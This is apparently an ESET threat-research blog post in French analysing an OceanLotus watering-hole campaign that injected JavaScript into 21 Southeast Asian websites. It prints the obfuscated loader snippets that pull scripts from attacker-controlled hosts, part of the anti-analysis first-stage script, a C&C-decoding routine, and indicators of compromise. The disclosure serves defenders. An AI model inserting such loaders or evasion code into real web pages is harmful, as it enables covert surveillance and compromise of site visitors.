Les chercheurs d'ESET ont découvert une nouvelle campagne d’attaque de points d'eau ciblant plusieurs sites Web d’Asie du Sud-Est, qui serait active depuis septembre 2018. Cette campagne se distingue par son ampleur, puisque nous avons pu identifier 21 sites compromis, dont certains sont particulièrement marquants. Parmi les sites Web compromis figuraient le Ministère de la défense du Cambodge, le Ministère des affaires étrangères et de la coopération internationale du Cambodge et plusieurs journaux et blogues vietnamiens.

Après une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus [1], aussi connu comme APT32 [2] et APT-C-00. OceanLotus est un groupe d'espionnage actif depuis au moins 2012[3], principalement intéressé par les gouvernements étrangers et les dissidents.

Cette campagne est considérée comme une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d'eau qu'ils ont documenté en 2017[4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l'analyse de leur cadre malveillant. Parmi les diverses améliorations, ils ont commencé à utiliser la cryptographie à clé publique pour échanger une clé de session AES, utilisée pour crypter les communications ultérieures, empêchant ainsi les produits de sécurité d'intercepter la charge utile finale. Ils sont également passés de HTTP à WebSocket pour cacher leurs communications malveillantes.

Les chercheurs d'ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.

Le graphique1 montre la région ciblée par cette campagne.

Graphique 1 - Localisation des sites compromis

La plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le tableau suivant détaille les différentes victimes. Nous les avons tous notifiés en octobre, mais la plupart continue de subir des injections de scripts malveillants au moment d'écrire ces lignes, deux mois après la première compromission. Par conséquent, nous vous encourageons à ne pas visiter ces sites Web.

Compromised domain Description
baotgm[.]net Media in Vietnamese (based in Arlington, Texas)
cnrp7[.]org Cambodia National Rescue Party
conggiaovietnam[.]net Related to Religion – In Vietnamese
daichungvienvinhthanh[.]com Related to Religion – In Vietnamese
danchimviet[.]info Media in Vietnamese
danviet[.]vn Media in Vietnamese
danviethouston[.]com Media in Vietnamese
fvpoc[.]org Former Vietnamese Prisoners of Conscience
gardencityclub[.]com Golf club in Phnom Penh, Kingdom of Cambodia
lienketqnhn[.]org Media in Vietnamese
mfaic.gov[.]kh Ministry of Foreign Affairs and International Cooperation of Cambodia
mod.gov[.]kh Ministry of Defense of Cambodia
mtgvinh[.]net Related to Religion – In Vietnamese
nguoitieudung.com[.]vn Media in Vietnamese
phnompenhpost[.]com Cambodian newspaper in English
raovatcalitoday[.]com Unknown – In Vietnamese
thongtinchongphandong[.]com Opposition media in Vietnamese
tinkhongle[.]com Media in Vietnamese
toithichdoc.blogspot[.]com Blog in Vietnamese
trieudaiviet[.]com Unknown – In Vietnamese
triviet[.]news Media in Vietnamese

Tableau 1 - Description des sites Web compromis

Généralement, dans une attaque de point d'eau, les adversaires compromettent les sites Web qui sont régulièrement visités par des cibles potentielles. Cependant, dans cette attaque, OceanLotus a également réussi à compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau suivant montre leur classement Alexa au moment de la rédaction du présent rapport (plus le classement est bas, plus les sites Web compromis sont visités). Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui figure au 116e rang des sites Web les plus visités au Vietnam.

Domain Alexa rank (global) Alexa rank (in the most popular country)
danviet[.]vn 12,887 116
phnompenhpost[.]com 85,910 18,880
nguoitieudung.com[.]vn 261,801 2,397
danchimviet[.]info 287,852 144,884
baotgm[.]net 675,669 119,737
toithichdoc.blogspot[.]com 700,470 11,532
mfaic.gov[.]kh 978,165 2,149
conggiaovietnam[.]net 1,040,548 15,368
thongtinchongphandong[.]com 1,134,691 21,575
tinkhongle[.]com 1,301,722 15,224
daichungvienvinhthanh[.]com 1,778,418 23,428
triviet[.]news 2,767,289 Not available
mod.gov[.]kh 4,247,649 3,719
raovatcalitoday[.]com 8,180,358 Not available
cnrp7[.]org 8,411,693 Not available
mtgvinh[.]net 8,415,468 Not available
danviethouston[.]com 8,777,564 Not available
lienketqnhn[.]org 16,109,635 Not available
gardencityclub[.]com 16,109,635 Not available
trieudaiviet[.]com 16,969,048 Not available
fvpoc[.]org Not available Not available

Tableau 2 - Rang Alexa des sites Web compromis

Analyse

Le modus operandi est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit bout de code JavaScript, soit dans la page d'index, soit dans un fichier JavaScript hébergé sur le même serveur. Le bout de code figurant au graphique 2, légèrement obscurci, charge alors un autre script à partir d'un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js, chargera le fichier depuis https://weblink.selfip[.]info/images/cdn.js?from=maxcdn.

(function() {
    var pt = "http";
    var l = document.createElement('script');
    l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn';
    document.getElementsByTagName('body')[0].appendChild(l)
})('web', 'a', 'link', '.self');

Graphique 2 - Ajout d'un morceau de code JavaScript à mfaic.gov[.]khh

Afin d'échapper à la détection, ils prennent les mesures suivantes :

  • Ils obscurcissent les scripts pour empêcher l'extraction statique de l'URL finale.
  • L'URL ressemble à une véritable bibliothèque JavaScript utilisée par le site.
  • Ils utilisent un domaine et une URI différents pour chaque site Web compromis.
  • Le script est différent par site compromis. Le code suivant est le script inséré dans un autre site compromis :
var script = document.createElement("script");
var i = 'crash-course';
var s = "fzgbc knowsztall znfo";
var _ = '/';
var e = "VisitorIdentification.js?sa=" + i;
script.async = true;
script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e;
var doc = document.getElementsByTagName('script')[0];
doc.parentNode.insertBefore(script, doc);

Graphique 3 - Un autre bout de JavaScript inséré dans un site Web ciblé

Premier niveau

En fonction de l'emplacement de l'adresse IP du visiteur, le serveur de premier niveau (par exemple weblink.selfip[.]info for mfaic.gov[.]kh) délivre soit un script leurre (une bibliothèque JavaScript légitime aléatoire) soit le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A par exemple). Tous les serveurs ne disposent pas d'un contrôle de localisation, mais lorsqu'il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent effectivement le script malveillant.

Le script du premier niveau présente plusieurs contrôles pour échapper à la détection, comme le montre le graphique 4.

[…]
function t(n) {
    var r = this;
    !function (t, n) {
        if (!(t instanceof n))
            throw new TypeError('Cannot call a class as a function');
    }(this, t), this.t = {
        o: null,
        s: !0
    }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () {
        r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1;
    });
}
return t.prototype.r = function () {
    var t = this;
    setInterval(function () {
        var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal';
        r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e);
    }, 500);
}
 […]

Figure 4 - Charge utile JavaScript du premier niveau

Le script attendra que la victime fasse défiler la page. Il vérifie également la résolution de la fenêtre et si Firebug, une extension de navigateur utilisée pour analyser les pages Web, est activé. Si l'un ou l'autre des contrôles échoue, l'exécution est interrompue.

Ensuite, il déchiffre le domaine de commande & contrôle à l'aide d'un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré en wss://tcog.thruhere[.]net. Pour chaque domaine de premier niveau, les attaquants enregistrent également un domaine de deuxième niveau différent, chacun étant hébergé sur un serveur différent. Le code de la Figure 5 est un équivalent, en Python, de la fonction de déchiffrement.

def decrypt(encrypted_url):
	s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
	return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))

Figure 5 - Code Python pour déchiffrer les serveurs C&C

Une fois l'adresse C&C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées par WebSocket sur SSL. Ce protocole permet une communication full duplex entre un client et un serveur. Cela signifie qu'une fois que le client établit une connexion, un serveur peut envoyer des données au client même si ce dernier n'a pas envoyé de requête. Cependant, dans ce cas particulier, le but principal de l'utilisation des sockets web semble être d'échapper à la détection.

Deuxième niveau

Le scénario de la deuxième étape est en fait un scénario de reconnaissance. Les développeurs d'OceanLotus ont réutilisé la bibliothèque de Valve fingerprintjs2, disponible sur GitHub, en la modifiant légèrement afin d'ajouter une communication réseau et un rapport personnalisé.

Le graphique 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte lors de la première étape (niveau 1).

Figure 6 - Débit de la charge utile du deuxième niveau

La communication est chiffrée à l'aide d'une clé de session AES, générée par le serveur. Il est crypté à l'aide d'une clé publique RSA 1024 bits et envoyé au client. Il n'est donc pas possible de déchiffrer les communications entre le client et le serveur.

Par rapport aux itérations précédentes de leur cadre de trous d'eau, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent être détectées puis décryptées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoCs.

Ce script de reconnaissance génère un rapport, similaire à celui illustré ci-dessous, et l'envoie au serveur C&C de deuxième niveau.

{
  "history": {
    "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-",
    "client_url": "https://www.mfaic.gov.kh/",
    "client_cookie": "",
    "client_hash": "",
    "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos",
    "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
    "client_time": "2018-10-21T12:43:25.254Z",
    "timezone": "Asia/Bangkok",
    "client_network_ip_list": [
      "192.168.x.x",
      "x.x.x.x"
    ],
    "client_api": "wss://tcog.thruhere.net/",
    "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7",
    "client_uuid": "a612cdb028e1571dcab18e4aa316da26"
  },
  "navigator": {
    "plugins": {
      "activex": false,
      "cors": true,
      "flash": false,
      "java": false,
      "foxit": true,
      "phonegap": false,
      "quicktime": false,
      "realplayer": false,
      "silverlight": false,
      "touch": false,
      "vbscript": false,
      "vlc": false,
      "webrtc": true,
      "wmp": false
    },
    "_screen": {
      "width": 1920,
      "height": 1080,
      "availWidth": 1920,
      "availHeight": 1080,
      "resolution": "1920x1080"
    },
 "_plugins": [
[...]

Graphique 7 – Rapport Fingerprint

Ce rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et comportent des fautes de frappe identiques. Grâce à ces similitudes et à l'emplacement des cibles, nous sommes très confiants qu'OceanLotus mène cette campagne.

Le rapport généré contient des informations détaillées sur le navigateur de la victime et le site visité : l'agent utilisateur, le référent HTTP, l'adresse IP locale et externe, les plugins du navigateur, les préférences linguistiques configurées du navigateur.

De plus, il y a deux identificateurs uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre à travers les visites. Ces identificateurs étaient déjà présents dans la version 2017 et client_uuid a été généré de la même manière.

L’identifiant client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les appareils sont les appareils externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur devrait être la même pour un utilisateur donné lors de ses différentes visites depuis le même ordinateur.

Le client_uuid est un hachage MD5 de certaines informations dactyloscopiques extraites par fingerprintjs2. Parmi les informations collectées figurent l'agent utilisateur du navigateur, la langue, le fuseau horaire, les plugins du navigateur et les polices disponibles dans le navigateur. Encore une fois, cette valeur doit être identique d'une visite à l'autre, à moins, par exemple, que l'utilisateur mette à jour son navigateur ou utilise un appareil différent.

Enfin, le serveur peut envoyer du code JavaScript supplémentaire à l'ordinateur victime, probablement la charge utile réelle. Malheureusement, en raison de l'utilisation d'une clé de session AES pour crypter les communications, nous n'avons pas été en mesure d'identifier des exemples de charges utiles envoyées dans la nature par les attaquants. De plus, les charges utiles ne sont livrées qu'à des cibles spécifiques. Il n'a donc pas été possible de les obtenir à l'aide d'une machine d'essai. Cependant, selon les rapports précédents, ces campagnes d'abreuvement d'OceanLotus visent à phisher ses victimes. Par exemple, Volexity a signalé qu'une fenêtre contextuelle demandant à OAuth d'approuver l'accès au compte Google de la victime pour une application Google OceanLotus s'affiche. Grâce à cette technique, les agresseurs peuvent accéder aux contacts et aux courriels de la victime.

Infrastructure de réseau

Afin d'être le plus discret possible, les opérateurs d'OceanLotus ont enregistré un domaine de premier niveau et un domaine de deuxième niveau pour chaque site Web compromis. Chaque domaine est hébergé sur un serveur séparé avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.

Alors que la plupart des domaines de la première étape étaient enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également des sites Web authentiques afin de donner l'impression d'être légitimes. Le tableau 3 montre certains services imités par les attaquants.

C&C domain Legitimate domain
cdn-ampproject[.]com cdn.ampproject.com
bootstraplink [.]com getbootstrap.com
sskimresources[.]com s.skimresources.com
widgets-wp[.]com widgets.wp.com

Tableau 3 - Sites Web légitimes imités par les attaquants

Le nombre de domaines utilisés et leur similitude avec les sites Web légitimes les rendent probablement plus difficiles à détecter pour l’œil humain observant le trafic réseau.

Conclusion

Bien qu'il soit activement observé par de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ces cyberattaquants améliorent aussi régulièrement leur ensemble d'outils, y compris leur système d’attaque de points d’eau et leurs logiciels malveillants Windows et MacOS. Les récentes mises à jour de leur cadre de gestion des points d'eau, mises en évidence dans ce blogue, montrent un niveau de sophistication jamais vu auparavant pour OceanLotus. Cela nous rappelle une fois de plus que ce groupe APT doit être suivi de près.

Afin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et leur avons expliqué comment supprimer le code JavaScript malveillant. Certains d’entre eux semblent néanmoins très réticents à recevoir de l’information ou du soutien.

Les chercheurs d’ESET continueront de suivre tout développement de la boîte à outils d’OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des exemples d'observations sur le sujet, communiquez avec nous à l'adresse threatintel@eset.com.

Références

[1]         ESET Research, "OceanLotus: Old techniques, new backdoor," 03 2018. [Online]. Available: https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf.

[2]         N. Carr, "Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations," FireEye, 14 05 2017. [Online]. Available: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.

[3]         Sky Eye Lab, "OceanLotus APT Report Summary," 29 05 2015. [Online]. Available: http://blogs.360.cn/post/oceanlotus-apt.html.

[4]         S. K. S. A. Dave Lassalle, "OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society," Volexity, 06 11 2017. [Online]. Available: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/.

Indicateurs de compromission (IoCs)

Fichiers

Description SHA-1 SHA-256 Detection name
First stage script 2194271C7991D60AE82436129D7F25C0A689050A 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 JS/Agent.NYQ
Second stage script 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 JS/Agent.NYR

Réseaux IoC

Compromised website 1st stage IP address 2nd stage IP address
baotgm[.]net arabica.podzone[.]net 178.128.103.24 10cm.mypets[.]ws 178.128.100.189
cnrp7[.]org utagscript[.]com 206.189.88.50 optnmstri[.]com 159.65.134.146
conggiaovietnam[.]net lcontacts.servebbs[.]net 178.128.219.207 imgincapsula[.]com 209.97.164.158
daichungvienvinhthanh[.]com sskimresources[.]com 178.128.90.102 secure-imrworldwide[.]com 178.128.90.109
danchimviet[.]info wfpscripts.homeunix[.]com 178.128.223.102 cdn-ampproject[.]com 178.128.24.201
danviet[.]vn cdnscr.thruhere[.]net 178.128.98.139 io.blogsite[.]org 178.128.98.89
danviethouston[.]com your-ip.getmyip[.]com 178.128.103.74 [Unknown] [Unknown]
fvpoc[.]org gui.dnsdojo[.]net 178.128.28.93 cdnazure[.]com 209.97.164.96
gardencityclub[.]com figbc.knowsitall[.]info 178.128.103.207 ichefbcci.is-a-chef[.]com 206.189.85.162
lienketqnhn[.]org tips-renew.webhop[.]info 159.65.7.45 cyhire.cechire[.]com 178.128.103.79
mfaic.gov[.]kh weblink.selfip[.]info 178.128.103.202 tcog.thruhere[.]net 178.128.107.83
mfaic.gov[.]kh s0-2mdn[.]net 104.248.144.178 p-typekit[.]com 104.248.144.136
mod.gov[.]kh static.tagscdn[.]com 206.189.95.214 pagefairjs[.]com 159.65.137.109
mtgvinh[.]net metacachecdn[.]com 178.128.209.153 bootstraplink[.]com 159.65.129.241
nguoitieudung.com[.]vn s-adroll[.]com 128.199.159.127 player-cnevids[.]com 128.199.159.60
phnompenhpost[.]com tiwimg[.]com 206.189.89.121 tiqqcdn[.]com 206.189.47.116
raovatcalitoday[.]com widgets-wp[.]com 178.128.90.107 cdn-tynt[.]com 142.93.75.192
thongtinchongphandong[.]com lb-web-stat[.]com 159.65.128.57 benchtag2[.]com 178.128.90.108
tinkhongle[.]com cdn1.shacknet[.]us 142.93.127.120 scdn-cxense[.]com 142.93.75.161
toithichdoc.blogspot[.]com assets-cdn.blogdns[.]net 178.128.28.89 cart.gotdns[.]com 206.189.145.242
trieudaiviet[.]com html5.endofinternet[.]net 178.128.90.182 effecto-azureedge[.]net 142.93.71.92
triviet[.]news ds-aksb-a.likescandy[.]com 159.65.137.144 labs-apnic[.]net 178.128.90.138
[Unknown] pixel1.dnsalias[.]net 142.93.116.157 ad-appier[.]com 178.128.90.66
[Unknown] trc.webhop[.]net 178.128.90.223 static-addtoany[.]com 142.93.75.172
[Unknown] nav.neat-url[.]com 178.128.103.205 straits-times.is-an-actor[.]com 178.128.107.24

Clé publique RSA envoyée par le serveur

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X

/ABJB2M+urEvxJStRuL/+u/a9oJ6XL4JTFceYqJiSsXvwD/wDfgI00zCdmJ7xgw+

rpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao

hEXZ94it73j02h+JtQIDAQAB

-----END PUBLIC KEY-----